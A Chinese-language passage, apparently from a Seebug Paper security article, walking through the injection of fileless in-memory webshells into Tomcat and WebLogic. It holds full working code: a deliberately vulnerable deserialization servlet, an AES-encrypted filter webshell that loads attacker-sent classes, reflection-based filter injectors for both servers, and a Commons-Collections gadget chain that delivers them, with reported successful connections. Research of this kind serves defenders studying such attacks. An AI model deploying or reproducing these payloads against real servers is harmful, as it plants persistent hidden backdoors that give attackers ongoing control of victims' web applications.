大概看了下,这几个类通过链式方式可以获取到StandardContext
- context=/bx_test_war_exploded,host=localhost,name=NonLoginAuthenticator,type=Valve
- context=/bx_test_war_exploded,host=localhost,name=StandardContextValve,type=Valve
- context=/manager,host=localhost,name=BasicAuthenticator,type=Valve
- ...
拿NonLoginAuthenticator举例,获取StandardContext
NonLoginAuthenticator继承了AuthenticatorBase,其中的context属性,在实际运行中为我们想要的StandardContext
NamedObject nonLoginAuthenticator = domainTb.get("Catalina").get("context=/bx_test_war_exploded,host=localhost,name=NonLoginAuthenticator,type=Valve");
成功反射获取context
这里停一下我们观察下这个key
context=/bx_test_war_exploded,host=localhost,name=NonLoginAuthenticator,type=Valve
context是项目名称,host是localhost,在实际攻击中,这两个变量把我们并不确定,可以试着猜一下。不过有一点幸运的是,Tomcat 7,8,9都存在NonLoginAuthenticator
我们尝试将内存马注入的payload合入到CC中
首先我们自己写一个反序列化的漏洞
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { String base64_ser = request.getParameter("ser"); BASE64Decoder decoder = new BASE64Decoder(); byte[] ser_bytes = decoder.decodeBuffer(base64_ser); ByteArrayInputStream bis = new ByteArrayInputStream (ser_bytes); ObjectInputStream ois = new ObjectInputStream (bis); ois.readObject(); }catch (Exception e){ e.printStackTrace(); } System.out.println("22222222222222222222222222222222222222"); PrintWriter out = response.getWriter(); out.println("hello world"); }
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; InvocationHandler obj = cc3.getobject(cmd); hello.deserializeToObject(hello.serializeToString(obj));
反序列化demo环境测试通过
接下来我们将webshell的测试代码合入到CC中
Myfilter代码如下
import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; import java.io.IOException; import java.lang.reflect.Method; //@WebFilter(filterName = "all_filter") public class MyFilter_old implements Filter { String k="1a1dc91c907325c6"; public MyFilter_old(String key){ this.k = key; } public void destroy() { } public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException { System.out.println("filter被执行了....\n"); try{ if (true) { String k="1a1dc91c907325c6"; HttpSession session = ((HttpServletRequest) req).getSession(); session.putValue("u",k); Cipher c = Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(k.getBytes(),"AES")); String reader = req.getReader().readLine(); System.out.println(reader); // byte[] evilClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(req.getReader().readLine())); byte[] evilClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(reader)); Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes); // Class evilClass = Class.forName("net.rebeyond.behinder.payload.java.BasicInfo"); Object a = evilClass.newInstance(); Method b = evilClass.getDeclaredMethod("fuck", String.class, ServletRequest.class, ServletResponse.class, HttpSession.class); b.invoke(a, k,req, resp,session); return; } } catch (Exception e) { e.printStackTrace();//实际中这里注释掉 调试用 } chain.doFilter(req, resp); } public void init(FilterConfig config) throws ServletException { } }
我们将Myfilter 转换成byte[] inject_tomcat 中直接defineclass调用 injectwebshell_tomcat如下
import javax.management.MBeanServer; import com.sun.jmx.mbeanserver.NamedObject; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.modeler.Registry; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import javax.servlet.Filter; import javax.servlet.ServletContext; import javax.servlet.http.HttpServletResponse; public class Injectwebshell_tomcat { ? ? public static String url; ? ? public static String password; ? ? public Injectwebshell_tomcat() {} ? ? static{ ? ? ? ? System.out.println("ffffffffffffffffffffffffffffffffffffff"); ? ? ? ? String filterUrlPattern = "/*"; ? ? ? ? String filterName = "233333"; ? ? ? ? String password = "pass"; ? ? ? ? try { ? ? ? ? ? ? MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer(); ? ? ? ? ? ? // 获取mbsInterceptor ? ? ? ? ? ? Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); ? ? ? ? ? ? field.setAccessible(true); ? ? ? ? ? ? Object mbsInterceptor = field.get(mBeanServer); ? ? ? ? ? ? // 获取repository ? ? ? ? ? ? field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); ? ? ? ? ? ? field.setAccessible(true); ? ? ? ? ? ? Object repository = field.get(mbsInterceptor); ? ? ? ? ? ? // 获取domainTb ? ? ? ? ? ? field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"); ? ? ? ? ? ? field.setAccessible(true); ? ? ? ? ? ? HashMap<String, Map<String, NamedObject>> domainTb = (HashMap<String,Map<String,NamedObject>>)field.get(repository); ? ? ? ? ? ? HashMap aaa = (HashMap) domainTb.get("Catalina"); ? ? ? ? ? ? String keyNonLoginAuthenticator = "context=/bx_test_war_exploded,host=localhost,name=NonLoginAuthenticator,type=Valve"; // //? ? ? ? ? ? Iterator<String> it = aaa.keySet().iterator(); //? ? ? ? ? ? while(it.hasNext()) { //? ? ? ? ? ? ? ? String key = it.next(); //? ? ? ? ? ? ? ? System.out.println(key + " : " + aaa.get(key)); //? ? ? ? ? ? ? ? response.getWriter().println(key + " : " + aaa.get(key)); //? ? ? ? ? ? ? ? if(key.contains("NonLoginAuthenticator")){ //? ? ? ? ? ? ? ? ? ? keyNonLoginAuthenticator = key; //? ? ? ? ? ? ? ? } //? ? ? ? ? ? } ? ? ? ? ? ? // 获取domain ? ? ? ? ? ? NamedObject nonLoginAuthenticator = domainTb.get("Catalina").get(keyNonLoginAuthenticator); ? ? ? ? ? ? field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"); ? ? ? ? ? ? field.setAccessible(true); ? ? ? ? ? ? Object object = field.get(nonLoginAuthenticator); ? ? ? ? ? ? // 获取resource ? ? ? ? ? ? field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); ? ? ? ? ? ? field.setAccessible(true); ? ? ? ? ? ? Object resource = field.get(object); ? ? ? ? ? ? // 获取context ? ? ? ? ? ? field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context"); ? ? ? ? ? ? field.setAccessible(true); ? ? ? ? ? ? StandardContext standardContext = (StandardContext) field.get(resource); ? ? ? ? ? ? // 获取servletContext ? ? ? ? ? ? field = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"); ? ? ? ? ? ? field.setAccessible(true); ? ? ? ? ? ? ServletContext servletContext = (ServletContext) field.get(standardContext); ? ? ? ? ? ? if (standardContext != null) { ? ? ? ? ? ? ? ? //修改状态,要不然添加不了 ? ? ? ? ? ? ? ? Field stateField = org.apache.catalina.util.LifecycleBase.class ? ? ? ? ? ? ? ? ? ? ? ? .getDeclaredField("state"); ? ? ? ? ? ? ? ? stateField.setAccessible(true); ? ? ? ? ? ? ? ? stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP); ? ? ? ? ? ? ? ? //创建一个自定义的Filter马 ? ? ? ? ? ? ? ? byte[] MFbytes = new byte[]{Myfilter 的 bytes}; ? ? ? ? ? ? ? ? java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class}); ? ? ? ? ? ? ? ? defineClassMethod.setAccessible(true); ? ? ? ? ? ? ? ? Class myclass = (Class) defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(),? MFbytes, 0, MFbytes.length); ? ? ? ? ? ? ? ? Constructor MFconstructor = myclass.getConstructor(); ? ? ? ? ? ? ? ? MFconstructor.setAccessible(true); ? ? ? ? ? ? ? ? Filter my_filter = (Filter) MFconstructor.newInstance(); ? ? ? ? ? ? ? ? //添加filter马 ? ? ? ? ? ? ? ? javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, my_filter); ? ? ? ? ? ? ? ? filterRegistration.setInitParameter("encoding", "utf-8"); ? ? ? ? ? ? ? ? filterRegistration.setAsyncSupported(false); ? ? ? ? ? ? ? ? filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{filterUrlPattern}); ? ? ? ? ? ? ? ? //状态恢复,要不然服务不可用 ? ? ? ? ? ? ? ? if (stateField != null) { ? ? ? ? ? ? ? ? ? ? stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED); ? ? ? ? ? ? ? ? } ? ? ? ? ? ? ? ? if (standardContext != null) { ? ? ? ? ? ? ? ? ? ? //生效filter ? ? ? ? ? ? ? ? ? ? Method filterStartMethod = StandardContext.class ? ? ? ? ? ? ? ? ? ? ? ? ? ? .getMethod("filterStart"); ? ? ? ? ? ? ? ? ? ? filterStartMethod.setAccessible(true); ? ? ? ? ? ? ? ? ? ? filterStartMethod.invoke(standardContext, null); ? ? ? ? ? ? ? ? ? ? Class ccc = null; ? ? ? ? ? ? ? ? ? ? try { ? ? ? ? ? ? ? ? ? ? ? ? ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); ? ? ? ? ? ? ? ? ? ? } catch (Throwable t){} ? ? ? ? ? ? ? ? ? ? if (ccc == null) { ? ? ? ? ? ? ? ? ? ? ? ? try { ? ? ? ? ? ? ? ? ? ? ? ? ? ? ccc = Class.forName("org.apache.catalina.deploy.FilterMap"); ? ? ? ? ? ? ? ? ? ? ? ? } catch (Throwable t){} ? ? ? ? ? ? ? ? ? ? } ? ? ? ? ? ? ? ? ? ? //把filter插到第一位 ? ? ? ? ? ? ? ? ? ? Class c = Class.forName("org.apache.catalina.core.StandardContext"); ? ? ? ? ? ? ? ? ? ? Method m = c.getMethod("findFilterMaps"); ? ? ? ? ? ? ? ? ? ? Object[] filterMaps = (Object[]) m.invoke(standardContext); ? ? ? ? ? ? ? ? ? ? Object[] tmpFilterMaps = new Object[filterMaps.length]; ? ? ? ? ? ? ? ? ? ? int index = 1; ? ? ? ? ? ? ? ? ? ? for (int i = 0; i < filterMaps.length; i++) { ? ? ? ? ? ? ? ? ? ? ? ? Object o = filterMaps[i]; ? ? ? ? ? ? ? ? ? ? ? ? m = ccc.getMethod("getFilterName"); ? ? ? ? ? ? ? ? ? ? ? ? String name = (String) m.invoke(o); ? ? ? ? ? ? ? ? ? ? ? ? if (name.equalsIgnoreCase(filterName)) { ? ? ? ? ? ? ? ? ? ? ? ? ? ? tmpFilterMaps[0] = o; ? ? ? ? ? ? ? ? ? ? ? ? } else { ? ? ? ? ? ? ? ? ? ? ? ? ? ? tmpFilterMaps[index++] = filterMaps[i]; ? ? ? ? ? ? ? ? ? ? ? ? } ? ? ? ? ? ? ? ? ? ? } ? ? ? ? ? ? ? ? ? ? for (int i = 0; i < filterMaps.length; i++) { ? ? ? ? ? ? ? ? ? ? ? ? filterMaps[i] = tmpFilterMaps[i]; ? ? ? ? ? ? ? ? ? ? } ? ? ? ? ? ? ? ? } ? ? ? ? ? ? } ? ? ? ? } catch (Exception e) { ? ? ? ? ? ? e.printStackTrace(); ? ? ? ? } ? ? } }
构造CC代码如下
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class cc3 { public static InvocationHandler getobject(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); // String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"; // 创建 static 代码块,并插入代码 cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错 // 写入.class 文件 byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", targetByteCodes); // 进入 defineTransletClasses() 方法需要的条件 setFieldValue(templates, "_name", "name"); setFieldValue(templates, "_class", null); ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) }); HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain); Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); handler_constructor.setAccessible(true); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象 Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); AnnotationInvocationHandler_Constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map); return handler; // try{ // ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3")); // outputStream.writeObject(handler); // outputStream.close(); // // ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3")); // inputStream.readObject(); // }catch(Exception e){ // e.printStackTrace(); // } } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static void main(String[] args) throws Exception { // String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; // InvocationHandler obj = cc3.getobject(cmd); // hello.deserializeToObject(hello.serializeToString(obj)); String cmd = "try{sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();" + ? ? "byte[] inject_omcat_bytes = decoder.decodeBuffer(\"inject_tomcat base64编码后数据\");\n" + ? ? "java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod(\"defineClass\",new Class[]{byte[].class, int.class, int.class});" + ? ? "defineClassMethod.setAccessible(true);" + ? ? "Class myclass = (Class) defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(),? inject_omcat_bytes, 0, inject_omcat_bytes.length);" + ? ? "java.lang.reflect.Constructor MFconstructor = myclass.getConstructor();" + ? ? "MFconstructor.setAccessible(true);" + ? ? "MFconstructor.newInstance();}catch (Exception e){e.printStackTrace();}"; InvocationHandler obj = cc3.getobject(cmd); hello.deserializeToObject(hello.serializeToString(obj)); } }
效果 冰蝎配置连接
成功连接
至此,测试完毕。
3.threade3am方法获取context
借鉴threade3am师傅的项目地址https://github.com/threedr3am/ysoserial,我们从中摘出来我们想要的获取context部分代码
String filterUrlPattern = "/*"; String filterName = filtername; System.out.println(url+" "); try { System.out.println("SSSSSS start start start"); /*刚开始反序列化后执行的逻辑*/ //修改 WRAP_SAME_OBJECT 值为 true java.lang.Class c1 = java.lang.Class.forName("org.apache.catalina.core.ApplicationDispatcher"); java.lang.reflect.Field f1 = c1.getDeclaredField("WRAP_SAME_OBJECT"); java.lang.reflect.Field modifiersField = f1.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f1, f1.getModifiers() & ~java.lang.reflect.Modifier.FINAL); f1.setAccessible(true); if (!f1.getBoolean(null)) { f1.setBoolean(null, true); } //初始化 lastServicedRequest c1 = java.lang.Class.forName("org.apache.catalina.core.ApplicationFilterChain"); f1 = c1.getDeclaredField("lastServicedRequest"); modifiersField = f1.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f1, f1.getModifiers() & ~java.lang.reflect.Modifier.FINAL); f1.setAccessible(true); if (f1.get(null) == null) { f1.set(null, new ThreadLocal()); } //初始化 lastServicedResponse f1 = c1.getDeclaredField("lastServicedResponse"); modifiersField = f1.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f1, f1.getModifiers() & ~java.lang.reflect.Modifier.FINAL); f1.setAccessible(true); if (f1.get(null) == null) { f1.set(null, new ThreadLocal()); } // java.lang.reflect.Field f = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); java.lang.reflect.Field f = c1.getDeclaredField("lastServicedRequest"); // System.out.println("11111111111111111111"); f.setAccessible(true); java.lang.ThreadLocal t = (java.lang.ThreadLocal) f.get(null); /*shell注入,前提需要能拿到request、response等*/ if (t != null && t.get() != null) { javax.servlet.ServletRequest servletRequest = (javax.servlet.ServletRequest) t.get(); System.out.println(servletRequest); javax.servlet.ServletContext servletContext = servletRequest.getServletContext(); System.out.println(servletContext); //获取ApplicationContext Field field = servletContext.getClass().getDeclaredField("context"); field.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext); //获取StandardContext field = applicationContext.getClass().getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = (StandardContext) field.get(applicationContext); ..... }
分析代码,获取context分为两步,首先修改 WRAP_SAME_OBJECT 值为 true 然后初始化 lastServicedRequest,最后从javax.servlet.ServletRequest获取context
使用上面的测试环境,成功注入filter
注: 以上方式tomcat6 均不可
tomcat6缺少javax.servlet.DispatcherType类
原理同样使用使用动态注册Filter 的方式 参考文章https://www.cnblogs.com/potatsoSec/p/13162792.html我们直接跟着大佬的文章走吧
跟进weblogic的Filter关键流程,断点下到doFilter,通过查看堆栈信息定位一些关键函数、
通过跟踪堆栈信息,我们可以找到,在wrapRun函数中,会判断系统中是否存在filter以及listener。如果存在,则获取FilterChain,然后依次调用Filter。原理与tomcat类似
跟进getFilterChain函数,它在FilterManger中,这个weblogic.servlet.internal.FilterManager,是weblogic用来管理filter的,我们需要的动态注册Filter功能它也提供了,好方便,直接就有了,比tomcat方便多了!
我们现在已经知道FilterManger有这个功能,现在就是要获取FIlterManger,在weblogic中,context会存放FilterManger,这个问题就成了如何获取context,很熟悉是不是2333
和Tomcat一样,存在两种方法,
- 从pageContext取 jsp页面中存在
- 从线程中取
不再讨论第一种,直接看第二种
Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread"); Method m = executeThread.getDeclaredMethod("getCurrentWork"); Object currentWork = m.invoke(Thread.currentThread()); Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler"); connectionHandlerF.setAccessible(true); Object obj = connectionHandlerF.get(currentWork); Field requestF = obj.getClass().getDeclaredField("request"); requestF.setAccessible(true); obj = requestF.get(obj); Field contextF = obj.getClass().getDeclaredField("context"); contextF.setAccessible(true); Object context = contextF.get(obj);
现在我们成功获取到了context,接下来就是调用registerFilter函数将我们的filter注册,但是这里遇到了一个问题,在FilterManager的registerFilter方法中,主要通过FilterWrapper类去包装Filter类。但是FilterWrapper类的构造函数中,并没有可以传递Class的参数,只可以传递ClassName,FilterManager通过ClassName去查找Class,这个就蛋疼了,如果直接调用这个方法,肯定找不到的呀
这里跟下过程,FIlter将会在loadFIlter中实例化,
filterWrapper.getFilterClassName中获取FilterClass的名称,然后通过context的createInstance方法去实例化。createInstance
我们看到了classloader,weblogic中有自定义的classloader,跟进它的loadclass方法,会首先从cache中查找是否存在待查找的类,如果存在,则直接返回该名称对应的Class
public Class loadClass(String name) throws ClassNotFoundException { boolean doTrace = ctDebugLogger.isDebugEnabled(); if (doTrace) { ClassLoaderDebugger.debug(this, SupportedClassLoader.CACL, "loadClass", name); } Class res = (Class)this.cachedClasses.get(name); if (res != null) { return res; } else { try { if (!this.childFirst) { return super.loadClass(name); } else if (!name.startsWith("java.") && (!name.startsWith("javax.") || name.startsWith("javax.xml")) && !name.startsWith("weblogic.")) { try { synchronized(this) { return this.findClass(name); } } catch (ClassNotFoundException var7) { return super.loadClass(name); } } else { return super.loadClass(name); } } catch (Error var8) { if (doTrace) { ClassLoaderDebugger.debug(this, var8); } throw var8; } catch (ClassNotFoundException var9) { if (doTrace) { ClassLoaderDebugger.debug(this, var9); } throw var9; } } }
参考文章直接给出,我们可以通过反射直接将自己的Filter放到这个缓存中,问题都解决了,整体实现代码
try { ? ? ? ? ? ? Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread"); ? ? ? ? ? ? Method m = executeThread.getDeclaredMethod("getCurrentWork"); ? ? ? ? ? ? Object currentWork = m.invoke(Thread.currentThread()); ? ? ? ? ? ? Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler"); ? ? ? ? ? ? connectionHandlerF.setAccessible(true); ? ? ? ? ? ? Object obj = connectionHandlerF.get(currentWork); ? ? ? ? ? ? Field requestF = obj.getClass().getDeclaredField("request"); ? ? ? ? ? ? requestF.setAccessible(true); ? ? ? ? ? ? obj = requestF.get(obj); ? ? ? ? ? ? Field contextF = obj.getClass().getDeclaredField("context"); ? ? ? ? ? ? contextF.setAccessible(true); ? ? ? ? ? ? Object context = contextF.get(obj); ? ? ? ? ? ? Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager"); ? ? ? ? ? ? Object filterManager = getFilterManagerM.invoke(context); ? ? ? ? ? ? Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class); // String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers ? ? ? ? ? ? registerFilterM.setAccessible(true); ? ? ? ? ? ? Field classLoaderF = context.getClass().getDeclaredField("classLoader"); ? ? ? ? ? ? classLoaderF.setAccessible(true); ? ? ? ? ? ? ClassLoader cl = (ClassLoader) classLoaderF.get(context); ? ? ? ? ? ? Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses"); ? ? ? ? ? ? cachedClassesF.setAccessible(true); ? ? ? ? ? ? Object cachedClass = cachedClassesF.get(cl); ? ? ? ? ? ? Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class); ? ? ? ? ? ? if (getM.invoke(cachedClass, "Myfilter") == null) { ? ? ? ? ? ? ? ? byte[] Uclassbate = new byte[] {Filter的字节码数据}; ? ? ? ? ? ? ? ? Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); ? ? ? ? ? ? ? ? defineClass.setAccessible(true); ? ? ? ? ? ? ? ? Class evilFilterClass = (Class) defineClass.invoke(cl, Uclassbate, 0, Uclassbate.length); // 恶意类名称为 Myfilter? filter 名称为filtername ? ? ? ? ? ? ? ? Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class); ? ? ? ? ? ? ? ? putM.invoke(cachedClass, "Myfilter", evilFilterClass); ? ? ? ? ? ? } ? ? ? ? ? ? registerFilterM.invoke(filterManager, filterName, "Myfilter", new String[]{filterUrlPattern}, null, null, null); ? ? ? ? } catch (Exception e) { ? ? ? ? ? ? e.printStackTrace(); ? ? ? ? }
wblogic12.1.3测试成功,这里直接用反序列化漏洞打的
https://mp.weixin.qq.com/s/DMVcqtiNG9gMdrBUyCRCgw
https://paper.seebug.org/1233/
https://www.cnblogs.com/skisqibao/p/10278987.html
https://www.runoob.com/w3cnote/filter-filterchain-filterconfig-intro.html
https://developer.aliyun.com/article/83765
https://www.cnblogs.com/potatsoSec/p/13162792.html
https://www.cnblogs.com/lxmwb/p/13235572.html
https://lucifaer.com/2020/05/12/Tomcat%E9%80%9A%E7%94%A8%E5%9B%9E%E6%98%BE%E5%AD%A6%E4%B9%A0/
https://www.cnblogs.com/potatsoSec/p/13162792.html
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1441/